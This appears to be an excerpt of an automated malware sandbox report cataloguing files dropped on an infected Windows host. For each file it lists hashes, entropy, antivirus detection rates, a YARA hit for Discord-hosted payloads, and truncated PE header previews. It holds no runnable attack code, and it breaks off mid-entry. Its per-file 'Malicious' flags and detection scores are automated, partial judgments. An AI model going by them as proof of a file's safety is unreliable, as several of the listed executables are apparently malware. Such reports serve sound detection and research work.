Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BBE1.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\BBE1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	5.316698480382997
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnoPtHoxHhAHKzvKvDfHK7HKhBHKdHKBSTHvmHKAHKoLHG1qHqHAHJ:iqXwYqhQnoPtIxHeqzyLq7qLqdqsOqAL
MD5:	5A67F45FC45A5C358BA694BE7D6FDE4A
SHA1:	5670BA980A3F52150C0D41B819A60AB7E0620567
SHA-256:	485DCB4FFCD317D66CAB28BC902D252C440AEE78067C651AEFA124D46073FECF
SHA-512:	0C7AFCB6CFF807B4514447019FED5BC398B488E3D7BBD332CE85AD774FB05C84AB5C5B99EC0BF48CB56CC8E8C52BEA1AA31459182F1D40234F663ECC279F6E7C
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DF3A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\DF3A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Temp\0faa7aea-12bb-4849-8fa9-815fe14274fd.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\CBF0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\21.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346624
Entropy (8bit):	6.008556977987189
Encrypted:	false
SSDEEP:	3072:rwrBNjy106UX1gBXf8fVzu3kkGwSQ46yyZ4AX/cpM0p2a4sqOD06zWusdImyJLiT:0VT1fVzBnKyyH/cKy4sqOIwyy
MD5:	A0BC297D8EAAD37F1B145D108786E993
SHA1:	AC6858536F64EC7113F1CD10B248430DA8510DB8
SHA-256:	B06B803C1A654849E7B0310B0B590CA574568AB9EBA41858E8CAAFF5DBBEACBA
SHA-512:	8C18514C5D43497B5711131B0328CBF7C6ECD51F04A60F421175786C7431B999E30BD5B16FE9345C38FD3E0C26A682A611602A1B2FE657488485246B3BA3B541
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p..... .............@...........................t......J..........................................d....`s..<....................s.....0...................................@............................................text............................... ..`.data....io.........................@....pale........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$...&..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5b81b21e-8488-49fb-af11-a55e6b006d71.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:	3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\B096.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B096.exe, Author: Florian Roth
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\BBE1.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.395556088889033
Encrypted:	false
SSDEEP:	384:ezekc2D26R7pXha5eglsu2tiP39n+NDr7vGuywqFGc1QzOQslg:qJcMnacgl6Q10rSuywCZ1QO
MD5:	787AF677D0C317E8062B9705CB64F951
SHA1:	41BF391CE44004A22BA7F18E5FDCDCFCEA73E38F
SHA-256:	7CFA3F3EBB7DCE336E24DF02D5BA0FDBC081927892D597986113FB11EDF1702E
SHA-512:	8A9BF2D0DF12926F3253DCF5F2B5186928107C36189F404C50C69B67BC09DDA267FACD53E3259ABF3934DE6682BC3B0E49D1D5ACCFA5D4A5B702F4F9EF8D8B45
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\BBE1.exe, Author: Florian Roth
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N..........nl... ........@.. ..............................P.....`..................................l..S....................Z............................................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H.......PK... ..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\C066.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601600
Entropy (8bit):	7.082709411162039
Encrypted:	false
SSDEEP:	12288:ZYr2Nn9c+v4tOOc7JMZim3+sKQS4Kwp6vHOZjV1:OrCZSyUimTTwHC
MD5:	F0BE69176E592FA1A6345A7090A9EA30
SHA1:	CF56A6E67759A06B2681170AF52902FA9CFB9128
SHA-256:	28D82936CA3150866022F80B28D5422D66F54FB6FD81321A3E853CE29FAF74FF
SHA-512:	D8E1CA5BF558DD0DC1F6281F0970FC7E7E192110315D2F275C0A49FF0CB6F65EB7217C2024FC596A29AD3D1036B51D42A622F39672BC1F0C17ABCECC3122D606
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L.....Q_......................p..... .............@...........................x.....zL.........................................d....@w..<....................w.....0...................................@............................................text............................... ..`.data....io.........................@....ruxat.......0w.....................@....rsrc....<...@w..<..................@..@.reloc...#....w..$..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C295.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	877056
Entropy (8bit):	7.462302194895007
Encrypted:	false
SSDEEP:	24576:yYuSM7Gp8zSjQLCV9ibUqyuziiM95BxXEr:yv7i8zSjbVwB1ZM910r
MD5:	B79D3399603938A695A98A75DCFBAB91
SHA1:	AF9A85F2CC85CD3B040536C988AAB45C237A22D9
SHA-256:	934690E391745FCA58CA0DF6D41952D6F58ED7B18AB8FDDA22484B01EB262BE8
SHA-512:	5499156CB77B33218077A690AF2EC89D9E9C2AC20796BB2F0A889DD97E569DDD84FDEC0F7C9332523A95D47081235E1BD2240D2971CDD5153CFA906C39BFA0B5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p..... .............@...........................\|.....ja..........................................d.....{..<....................{.....0...................................@............................................text............................... ..`.data....io.........................@....vuci........p{.....................@....rsrc....<....{..<..................@..@.reloc...#....{..$...>..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C8FE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	604160
Entropy (8bit):	7.081312542094628
Encrypted:	false
SSDEEP:	12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs
MD5:	DE692F1B4D4C63FED395BE25E878858E
SHA1:	16F5B74E898FB0CD30F127CB1E03DA79E481158A
SHA-256:	6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21
SHA-512:	24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E067
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... ...................................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CAC5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	7.390894610588505
Encrypted:	false
SSDEEP:	6144:IdQPlt1M8RJNHUMb62VCDuy1DzJDGLkjNVlZeJjuzbgwuA7ITsq:Ialt6mJN0x2VmlhtawtcjunnF7
MD5:	FA00DF47BCC5F9AD16ED71856FB6F4D6
SHA1:	561D89B6384A44E6D47AC4B68D04FFFFF3DE3558
SHA-256:	B2F5636B2E78B3F60EA53FD0C7C95656E11C08FAC59869B38A165C7BF39CF1E5
SHA-512:	3A6ACB14B041B341C979F233D881225615B225DAC9E84F0CD62DAEC69818212A9620AE82E4B61BA5547E3A0EB9D1D8442EF52CE86BF093918203D33DDF3283CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......`.....................6......_%............@.............................................................................(....`..H/..............................................................@...............p............................text.............................. ..`.rdata...E.......F..................@..@.data....<..........................@....xoj....r....P......................@..@.rsrc...H/...`...0..................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CBF0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CD17.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262248
Entropy (8bit):	7.344044114091331
Encrypted:	false
SSDEEP:	6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo
MD5:	EDE62358EA39643E43992E9068E03CA2
SHA1:	0F73E8F96C01135A91D4E1BFECA139AD31C72C15
SHA-256:	187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605
SHA-512:	552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@............@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.reloc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?................................?............................................................................................................ .......@........................................................ .......@........................................................ .......@.....................................

C:\Users\user\AppData\Local\Temp\D8D0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27576
Entropy (8bit):	5.969933955399239
Encrypted:	false
SSDEEP:	384:bekc2D26R7pXha5eglsu2CfQG9kyf4ZZK61TEYFGc1QzOQs42Aghgn:bJcMnacgl6EWlXzZ1QO4khgn
MD5:	FA6D8115D2266A121FE7C1552C0DDDFD
SHA1:	9166433A1F42AE7A623F26341DD9BBED91A045B3
SHA-256:	237E9E25B4DADE7BD2CCD0F6D59C9D607EEED8E60C1041F10BE3D4C50B37A459
SHA-512:	58825BAF9D243279393A635AEE9E7493682F18105D24CFAAF270BFAE54CB2FFDFE12734D7E3EB34983C554F3599BB73D523029871F28D8AFBF25CD27798C2368
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\D8D0.exe, Author: Florian Roth
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N...........l... ........@.. ...............................G....`..................................l..O.......,............X............................................................... ............... ..H............text....L... ...N.................. ..`.rsrc...,............P..............@..@.reloc...............V..............@..B.................l......H.......PK..L!..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\DEDC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	510976
Entropy (8bit):	7.850749525333838
Encrypted:	false
SSDEEP:	12288:Iw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+W:IVhdLVg2Zep7njXzPDxC+W
MD5:	B0A956B96769AA21A44206DD528C5B39
SHA1:	30CF20E67DFA3FC38C6E80B761AD0D523C5AF43A
SHA-256:	37B78E9A50830B88E97F6048F90EA0AFE925E0C6E4F0E9A1CF3C7849787D9C4C
SHA-512:	5B6D8707FA2D4B7D41D7B1733409A34645DF2B42FF064D9E7643A8F4AE7076A798B2012959AF6F8B30E44D60B28EF4B1761E0CB3287448329C9144AE9FD9CE9F
Malicious:	false
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\DEDC.exe, Author: Florian Roth
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............N.... ........@.. .......................@......yq....`.....................................K............................ ....................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................0.......H........u..hk..........@Z..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\DF3A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\DF3A.exe, Author: Florian Roth
Antivirus:	Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\E64F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791552
Entropy (8bit):	7.368824467033047
Encrypted:	false
SSDEEP:	12288:uDMkBTpEvda0f6dSctc54lTQazT6A/9Or+ilw8lCW0k7ro8R3D3INLf3:QMk+dV6dS6KazZ4rPlw8lCWYQi
MD5:	7917305400EE899130B1D5B7AFA0A159
SHA1:	D45E1A34FE773040D7034A80BBEBB3DBD3EA4252
SHA-256:	80C4B12305B41D2FDCD9DCCD53D2414C3AEA2188198F3D79AF262709C1E2DAC9
SHA-512:	417DECA0BEEE73B6EA8379B85726A9DAAF4DC32721D7A658BA42B9D359A6739F7478D3E0068C8B110497CB222956A1AFA5E1BF28C202965DEDE7A659EB824EF6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..........................^..................................Rich...........................PE..L...m;._......................v...................@............................................................................P....0...I.......................... ................................~..@............................................text............................... ..`.data...H.u.........................@....rsrc....I...0...J..................@..@.reloc..8$.......&..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EBBE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F11E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1111994
Entropy (8bit):	7.9252602794269915
Encrypted:	false
SSDEEP:	24576:4CRVwOoPzND9Tl7RUGb+89w4ZFLkAPLYLSeUr:hOhJGTIAAcns
